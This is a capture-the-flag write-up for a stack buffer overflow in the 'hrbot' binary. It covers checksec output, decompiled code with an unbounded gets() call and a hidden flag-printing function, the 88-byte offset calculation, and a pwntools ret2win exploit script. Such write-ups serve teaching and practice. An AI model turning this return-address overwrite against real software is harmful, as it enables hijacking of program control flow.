$ checksec --file=hrbot
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)The binary has NX enabled, which means code placed on the stack cannot be executed.
As a result, a traditional shellcode injection attack is not possible, and we must instead redirect execution to existing code inside the program.
After decompiling the binary, we find that main() eventually calls the following function:
void handle_case(void)
{
unsigned long unaff_retaddr;
char *s;
unsigned long var_18h;
unsigned long var_10h;
saved_rip_ptr = (uint8_t [8])*(BADSPACEBASE **)0x20;
var_10h = unaff_retaddr;
printf("\n[+] HRBot: Your unique case ID: 0x%lx\n", unaff_retaddr);
puts("\nHRBot: Please describe your HR case. For efficiency, input is limited to 64 characters.");
gets(&s);
var_18h = *(unsigned long *)saved_rip_ptr;
if (var_18h == var_10h) {
puts("\n[+] HRBot: EXCEPTION - COMPASSION DETECTED - You might need to overwrite some kind of address?");
} else if ((var_18h < 0x400000) || (0x4fffff < var_18h)) {
printf("\n[+] HRBot: Your case ID changed to 0x%lx\n", var_18h);
puts("\n[+] HRBot: perhaps you\'re still working out the correct amount of padding?");
} else {
printf("\n[+] HRBot: You must be a smart employee, the case ID has changed!");
printf("\n[+] HRBot: New case ID: 0x%lx\n", var_18h);
}
puts("\nHRBot: Case logged. A representative will never contact you.");
fire_employee(0x402370);
return;
}The program uses the dangerous gets() function to read user input.
Since gets() performs no bounds checking, it allows us to write past the intended buffer and overwrite data stored on the stack, including the saved return address.
Further analysis reveals a hidden function that is never called during normal execution:
void win_func(void)
{
char *s;
FILE *stream;
stream = fopen("flag.txt", "r");
if (stream == NULL) {
puts("HRBot: flag.txt not found. Please open a ticket with IT.");
exit(1);
}
fgets(&s, 0x80, stream);
fclose(stream);
puts("\n[+] HRBot: EXCEPTION DETECTED - unauthorized severance package approved.");
puts("[+] HRBot: Please accept this generous parting gift:");
printf("FLAG: %s\n", &s);
}This function opens flag.txt and prints its contents, making it the target for our exploit.
To determine the exact offset required to overwrite the return address, we analyze the stack layout.
The vulnerable buffer occupies 80 bytes, followed by the saved base pointer (RBP, 8 bytes). Therefore, the saved return address (RIP) is located after:
80 bytes (buffer) + 8 bytes (saved RBP) = 88 bytesThus, the offset to control RIP is 88 bytes.
The exploit strategy is straightforward:
1. Send 88 bytes of padding to fill the buffer and overwrite the saved RBP.
2. Overwrite the saved RIP with the address of win_func().
3. When handle_case() returns, execution jumps directly to win_func().
4. win_func() opens flag.txt and prints the flag.
Since PIE is disabled, function addresses remain static, making the ret2win attack trivial once the correct offset (88 bytes) is identified.
from pwn import *
elf = ELF('./hrbot')
context.arch = 'amd64'
def craft_payload():
OFFSET = 88
WIN_FUNC_ADDRESS = 0x0000000000401256
payload = b'A' * OFFSET + p64(WIN_FUNC_ADDRESS)
return payload
p = process("./hrbot")
p.sendlineafter(b'>', b'1')
payload = craft_payload()
p.sendlineafter(b'characters.', payload)
p.interactive()brunner{REDACTED}